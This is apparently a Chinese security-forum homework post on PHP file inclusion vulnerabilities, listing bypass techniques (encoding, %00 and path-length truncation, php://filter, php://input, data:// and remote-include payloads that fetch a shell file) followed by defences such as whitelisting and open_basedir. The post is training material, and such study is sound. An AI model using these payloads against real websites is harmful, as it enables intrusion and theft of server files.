发帖
 找回密码
 立即注册
搜索
0 0

分享 第三十三节课(文件包含漏洞的绕过和防御)+17674

技术分享 1206 0 2025-6-19 11:51:04
1. 实操课程内讲解的文件包含漏洞靶场并截图。
2. 文件包含的绕过方式有哪些?
绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

1).编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过


2).特殊字符绕过
  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3).%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。


4).长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8


5).伪协议绕过
  • 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

6).协议绕过
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
3. 文件包含的防御修复方式有哪些?
答:1).设置白名单
    2).过滤危险字符($pattern= "#^[a-z][a-z0-9+.]*:?//#i";
if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){
include "$file";
}
    3).设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。   
4. 复现vulfocus内(CVE-2019-8942)、(CVE-2015-4553)靶场并截图

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回